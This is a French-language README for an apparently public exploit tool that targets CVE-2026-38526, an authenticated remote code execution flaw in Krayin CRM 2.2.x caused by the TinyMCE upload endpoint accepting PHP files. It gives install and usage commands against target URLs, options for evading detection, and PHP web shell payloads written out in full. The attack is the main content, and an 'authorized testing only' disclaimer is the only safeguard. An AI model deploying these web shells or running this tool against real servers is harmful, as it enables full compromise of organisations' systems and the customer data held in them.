CVE-2026-38526 exploit pour Krayin CRM v2.2.x - RCE authentifié via contournement du téléchargement de fichiers TinyMCE. Caractéristiques : shell interactif, payloads multi-types, génération automatique de shell, et vérification. Auteur : Sudeepa Wanigarathna. Pour tests autorisés uniquement.
⚠️ POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT - Toute utilisation non autorisée est illégale et contraire à l'éthique.
Cet outil d'exploitation démontre une vulnérabilité critique d'exécution de code à distance (RCE) authentifiée découverte dans Krayin CRM version 2.2.x. La vulnérabilité réside dans la fonctionnalité de téléchargement de fichiers TinyMCE, qui permet aux administrateurs authentifiés de télécharger et d'exécuter du code PHP arbitraire sur le serveur.
| Propriété | Valeur |
|---|---|
| ID CVE | CVE-2026-38526 |
| Logiciel concerné | Krayin CRM v2.2.x |
| Type de vulnérabilité | Exécution de code à distance authentifiée (RCE) |
| Authentification requise | Oui (accès niveau Administrateur) |
| Impact | Compromission complète du système |
| Score CVSS | 8,8 (Élevé) |
La vulnérabilité provient d'une validation insuffisante du type de fichier dans le point de terminaison de téléchargement de fichiers TinyMCE (/admin/tinymce/upload). Un administrateur authentifié peut :
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <URL_CIBLE> -u <NOM_UTILISATEUR> -p <MOT_DE_PASSE> [OPTIONS]
| Paramètre | Description |
|---|---|
-t, --target | URL cible (ex. http://192.168.1.100) |
-u, --username | Nom d'utilisateur ou email administrateur |
-p, --password | Mot de passe administrateur |
# Exploitation de base avec shell généré
python3 exploit.py -t http://target.com -u [email protected] -p password
# Télécharger un fichier shell PHP personnalisé
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Générer un shell avancé avec mode interactif
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Générer un fichier shell sans exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Utiliser un proxy pour les tests / le débogage
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# Sortie JSON pour l'automatisation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Mode verbeux avec délai d'attente personnalisé
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# User-Agent et en-têtes personnalisés
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
Shell basique (basic)
Exécution de commande simple avec la fonction system().
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
Shell avancé (advanced)
Shell riche en fonctionnalités avec :
Shell minimal (minimal)
Empreinte minimale pour la discrétion.
<?php system($_GET["cmd"]); ?>
Gestionnaire de fichiers (file_manager)
Interface complète de gestion de fichiers :
Shell personnalisé (custom)
Utilisez votre propre fichier shell PHP avec le paramètre -f.
Sortie colorée lisible par l'homme, adaptée à une utilisation interactive.
-o json)Format lisible par machine pour l'automatisation et l'intégration.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)Aucune sortie sauf pour les erreurs. Utile pour le traitement par lots.
| Option | Description | Valeur par défaut |
|---|---|---|
--timeout | Délai d'attente de la requête en secondes | 30 |
--retry | Nombre de tentatives de nouvelle tentative | 3 |
--retry-delay | Délai entre les tentatives en secondes | 2 |
--user-agent | Chaîne User-Agent personnalisée | UA navigateur par défaut |
--header | En-têtes HTTP personnalisés (Clé : Valeur) | Aucun |
--verify-ssl | Vérifier les certificats SSL | False |
--proxy | URL du proxy HTTP/HTTPS | Aucun |
-v, --verbose | Activer la sortie de débogage | False |
-q, --quiet | Supprimer toute sortie | False |
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
public/storage/upload/image.php.jpg)